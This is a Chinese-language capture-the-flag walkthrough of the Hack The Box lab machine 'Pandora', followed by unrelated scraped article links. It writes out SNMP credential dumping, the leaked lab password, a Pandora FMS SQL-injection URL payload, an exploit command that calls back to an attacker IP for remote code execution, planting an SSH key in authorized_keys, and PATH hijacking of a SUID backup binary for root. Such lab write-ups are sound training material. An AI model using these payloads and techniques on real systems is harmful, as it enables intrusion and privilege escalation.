【Hack The Box】linux练习-- Pandora

HTB 学习笔记

【Hack The Box】linux练习-- Pandora


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • TCP 80
    • 域名爆破
    • snmp
    • daniel->root
        • 000-default.conf
        • pandora.conf
    • matt -> root

在这里插入图片描述

信息收集

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Play | Landing
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
sudo nmap -sU -top-ports=100 panda.htb

得到一个161的snmp端口
161/udp open snmp

TCP 80

啥也没有

域名爆破

wfuzz -u http://panda.htb -H "Host: FUZZ.panda.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 33560

同样什么都没有
换了个大字典还是啥都没有

snmp

简单网络管理协议 (SNMP) 是一种用于在 Internet 上管理和共享设备信息的协议。 最新版本是 2004 年发布的第 3 版,但第 2 版可能是 Internet 上最常用的版本。 v2 中没有太多的身份验证方式,因为大多数实例都使用字符串“public”,因此能够转储有关具有 UDP 161 访问权限的设备的大量数据并不少见。

apt install snmp snmp-mibs-downloader

onesixtyone 10.10.10.20 -c /usr/share/doc/onesixtyone/dict.txt

字典在下面链接
https://github.com/trailofbits/onesixtyone
在这里插入图片描述snmpwalk -v 2c -c public 10.129.71.14 > 1.txt

我看到有人说下面的方式更快,但我执行的时候总是失败
我不知道为什么

snmpbulkwalk -Cr1000 -c public -v2c 10.10.11.136 > snmp-full-bullk

得到了一些凭据

HotelBabylon23
daniel

我们可以登陆他

daniel->root

Apache 站点配置在 /etc/apache2/sites-enabled. 在这种情况下,有两个:
在这里插入图片描述

000-default.conf

<VirtualHost *:80>

这可能是一个80的代理?虚拟主机啥的

pandora.conf

在这里插入图片描述pandora.panda.htb
matt用户运行
/var/www/html和 /var/www/pandora

但是pandora.panda.htb同样是同一个页面
我不理解

在这里插入图片描述
看了别人文章,说需要做一个代理去访问,我依旧不理解
80端口应该是独占
如果我访问域名…也许不是80端口?
但是我先尝试一下80端口
也许这是内部网站
就像起那面提到的他需要申明主机
我将用ssh登陆隧道到他的80端口

ssh daniel@10.129.71.14 -L 2222:localhost:80

而后浏览器访问本地2222端口

在这里插入图片描述
页面底部存在版本信息
v7.0NG.742_FIX_PERL2020
他有rce,但是需要密码
matt的密码和我们拥有的用户密码不一致
所以我得先寻找密码
https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained/
这个网站还详细的说了4种已知的漏洞

在这里插入图片描述

https://github.com/ibnuuby/CVE-2021-32099

在这里我发现了一个应该可以直接使用的poc
在这里插入图片描述
他的确使用了sql注入,我们直接输入这一段,修改一下端口就行

http://127.0.0.1:2222/pandora_console/include/chart_generator.php?session_id=a%27%20UNION%20SELECT%20%27a%27,1,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20FROM%20tsessions_php%20WHERE%20%271%27=%271

然后刷新页面,就可以进入到管理界面了

在这里插入图片描述

https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained/

然后按照这个网站里的视频里面,生成了一个zip的恶意文件,然后访问即可执行命令,但我任然觉得这太麻烦,我准备利用rce
首先我需要抓包获取phpssid
在这里插入图片描述
用这个exp

https://github.com/ibnuuby/CVE-2021-32099
python3 exp.py -t 127.0.0.1 2222 -p npfhkcp04tj4qhppra81b9npc0 -s 10.10.14.29 8888

在这里插入图片描述

matt -> root

find / -perm -4000 -ls 2>/dev/null

查看一下可提权文件
这一条有点意思,有matt的权限

262929     20 -rwsr-x---   1 root     matt        16816 Dec  3  2021 /usr/bin/pandora_backup

在运行这一切之前,我们应该做一个ssh毒化

为了让shell更稳定,防止一些不必要的错误

将我们自己的密钥写进去

echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPU+OHcWDuZN6NJak2W2C3ee4pAoAKO5FPkt0SyDqpvE root@kali" > authorized_keys ssh -i id_rsaed25519 matt@10.129.71.14

在这里插入图片描述直接执行

/usr/bin/pandora_backup

乱七八糟,看不懂

ltrace pandora_backup 

让我们看看他的构造
在这里插入图片描述

system调用命令tar没有绝对路径,那就挟持命令
狸猫换太子
这就不说了

在这里插入图片描述

export PATH=/tmp:$PATH

添加环境变量
别忘了给命令赋权

chmod +x tar

然后执行

pandora_backup 

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/1382498.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot/SpringCloud初探五(远程调用)

远程调用常用有RestTemplate和Feign&#xff0c;底层均使用Ribbon实现负载均衡。简单样例&#xff0c;演示远程集群调用。 一、RestTemplate Ribbon 访问方式&#xff1a;http://localhost:7903/condition/test&#xff0c;然后会执行以下访问&#xff1a;http://microservic…

15岁、42天、6000行!他可能是 Cocos 最小开发者……

前段时间&#xff0c;在 Cocos 中文论坛上出现了一篇题为《15岁初中生开发了一个多月的小游戏开源》的帖子&#xff0c;一石激起千层浪——游戏开发如今都“内卷”到这种程度了吗&#xff1f; 这篇帖子的发帖人是来自河北秦皇岛的15岁初二男生蔡岳江。今年&#xff0c;他耗时42…

比起第一代,《最后生还者2》到底做错了什么?

如果世界上不存在第一代《最后生还者》&#xff08;美国末日&#xff0c;以下简称TLOU&#xff09;的话&#xff0c;那么TLOU2的风评可能不会这么糟糕。当然&#xff0c;市场不承认如果&#xff1a;TLOU一代的地位毫无争议&#xff0c;而TLOU2的争议甚至影响到了游戏打折的价格…

分享Html模板5合一模板---50电影模板、56个游、86个体育项目、95个音乐网站、116个时尚

模板下载链接:https://pan.baidu.com/s/1zNvc5K8tpWbxAKuIziGgjg 密码:agk4 50电影模板Html模板&#xff01; 56个游戏Html模板 86个体育项目Html模板 95个音乐网站Html模板 116个时尚Html模板 我就不相信没有你需要的&#xff01; 50电影模板Html模板&#xff01; 儿童…

(每日更新)《虚拟现实VR资讯》(Yanlz+Unity+SteamVR+云技术+5G+AI=VR云游戏=云渲染+人机交互+立钻哥哥+==)

虚拟现实&#xff08;Virtual Reality&#xff09; 虚拟现实简称VR&#xff0c;是一种可以创建和体验虚拟世界的计算机仿真系统&#xff0c;它利用计算机生成一种模拟环境&#xff0c;是一种多源信息融合的、交互式的三维动态视景和实体行为的系统仿真使用户沉浸到该环境中。 …

有哪些漂亮的中国风 LOGO 设计?

提到中国风的logo&#xff0c;我觉得首先登场的应该是北京故宫博物院的logo&#xff0c;铛&#xff01; 故宫博物院的logo&#xff0c;从颜色&#xff0c;到外形&#xff0c;到元素&#xff0c;无一例外&#xff0c;充满了中国风的味道&#xff0c;可谓是中国风中的典型。 同一…

圆形的生成

圆形的生成 圆形的扫描转换中点画圆Bresenham画圆 圆形的扫描转换 在屏幕像素点阵中确定一组最佳逼近于圆的像素点&#xff0c;并用指定的颜色显示出来。 由于圆具有对称性&#xff0c;在进行扫描转换时&#xff0c;只需迭代生成八分之一圆的最佳像素逼近点&#xff0c;圆的其…

生成圆形Image

目标任务&#xff1a;实现一个圆形面片的Image&#xff0c;实现效果如下&#xff1a; 为什么要实现这个东西呢&#xff0c;其实原先在做这种圆形效果的时候都是在用Mask实现的&#xff08;相信很多都是这样的~&#xff08;罒ω罒&#xff09;&#xff09;&#xff0c;但是最近了…

圆形图形logo案例2

注意共有3个步骤&#xff0c;按顺序操作下去 1.用矩形绘画两个圆&#xff0c;然后使用路径查找器分割. 2.绘制长方形&#xff0c;把所有长方形使用路径查找器、联集 3.用这些长方形与两个圆相交的部分进行分割&#xff0c;然后取消分组&#xff0c;把多余的地方去掉&#xff0…

html5绘制圆形,Canvas绘制圆形

使用canvas绘制圆形步骤: 1、在页面中创建canvas的节点(相当于创建一个画板)&#xff0c;设置CSS样式。(注意&#xff1a;要在行内样式中设置canvas的宽高。) 2、在JS中获取节点&#xff0c;并获取画板(绘画环境)、设置画笔颜色。 var canvasdocument.getElementById(canvas); …

圆形图形logo案例3

注意共有3个步骤&#xff0c;按顺序操作下去 1.用矩形工具绘制基础图形. 2.绘制LOGO中间的图形&#xff0c;用路径查找器的“减去顶层”功能. 3.绘制圆形路径&#xff0c;用描点工具剪裁路径&#xff0c;然后在路径上写上字母&#xff0c;完成. 这就是我简单快速的方法&#…

java圆形矩形直线文字设计图_如何设计圆形文字logo?怎么让文字按圆形走?圆形文字logo...

美好的周末说过去一下子就过去了呢~今天又迎来了更加美好的周一哇&#xff0c;哈哈哈。好啦废话不多说&#xff0c;还是来看看今天的教程方案吧&#xff01;圆形文字logo是什么意思呢&#xff1f;不知道大家有没有看到过那种圆形的标志&#xff0c;比如小编大学时候&#xff0c…

圆形图形logo案例

注意共有2个步骤&#xff0c;按顺序操作下去 1.先用图形矩形绘制轮廓&#xff0c;最上面画一个椭圆形&#xff0c;ctrlc复制&#xff0c;ctrlf原地粘贴 2&#xff0c;两个描边图层一起进行效果&#xff0c;从上面开始做起&#xff0c;第一个两个图形选中后使用减去后方对使用的…

设计模式之简单工厂模式

一、概述 定义一个用于创建对象的接口&#xff0c;让子类决定实例化哪一个类。FactoryMethod使一个类的实例化延迟到其子类。 简单工厂模式&#xff1a;又叫做静态工厂方法模式&#xff0c;是由一个工厂对象决定创建出哪一种产品类的实例。 二、适用性 1.当一个类不知道它所…

【LeetCode 75】第二十六题(394)字符串解码

目录 题目&#xff1a; 示例&#xff1a; 分析&#xff1a; 代码运行结果&#xff1a; 题目&#xff1a; 示例&#xff1a; 分析&#xff1a; 给我们字符串&#xff0c;让我们解码&#xff0c;那么该怎么解码呢&#xff0c;被括号【】包裹起来的字符串需要扩展成括号左边第…

2023最新python学习方法总结!(内部机密)

不要再问我python好不好学了 我之前做过半年少儿编程老师&#xff0c;一个小学四年级的小孩子都能在我的教学下独立完成python游戏&#xff0c;植物大战僵尸简单版&#xff0c;如果要肯花时间&#xff0c;接下来的网络开发也不是问题&#xff0c;人工智能也可以学个调包也没啥问…

【Python机器学习】实验10 支持向量机

文章目录 支持向量机实例1 线性可分的支持向量机1.1 数据读取1.2 准备训练数据1.3 实例化线性支持向量机1.4 可视化分析 实例2 核支持向量机2.1 读取数据集2.2 定义高斯核函数2.3 创建非线性的支持向量机2.4 可视化样本类别 实例3 如何选择最优的C和gamma3.1 读取数据3.2 利用数…

MySQL出现(2003)错误的解决方法(三种思路)

MYSQL的2003错误代码是:"cant connection to mysql server on ‘IP’" 意思为:"无法连接到“IP”上的 mysql 服务器". 我下列描述的问题中,第一种和第三种是以虚拟机连接MYSQL的2003方法; 而第二种是用的typora-setup-x64在本机中使用构建MYSQL服务的方…

Java集合框架面试题总结及解析

文章目录 说出 collection 的常用子接口&#xff1f;说出 3 个以上的常 用方法&#xff1f;都有什么作用&#xff1f;如果向 TreeSet 中加入类对象&#xff0c;需要做什么&#xff1f;Set 里的元素是不能重复的&#xff0c;那么用什么方法来区分重复与否呢? 是用还是 equals()…

【2022最新Java面试宝典】—— Java集合面试题(52道含答案)

目录 一、集合容器概述1. 什么是集合2. 集合的特点3. 集合和数组的区别4. 使用集合框架的好处5. 常用的集合类有哪些&#xff1f;6. List&#xff0c;Set&#xff0c;Map三者的区别&#xff1f;7. 集合框架底层数据结构8. 哪些集合类是线程安全的&#xff1f;9. Java集合的快速…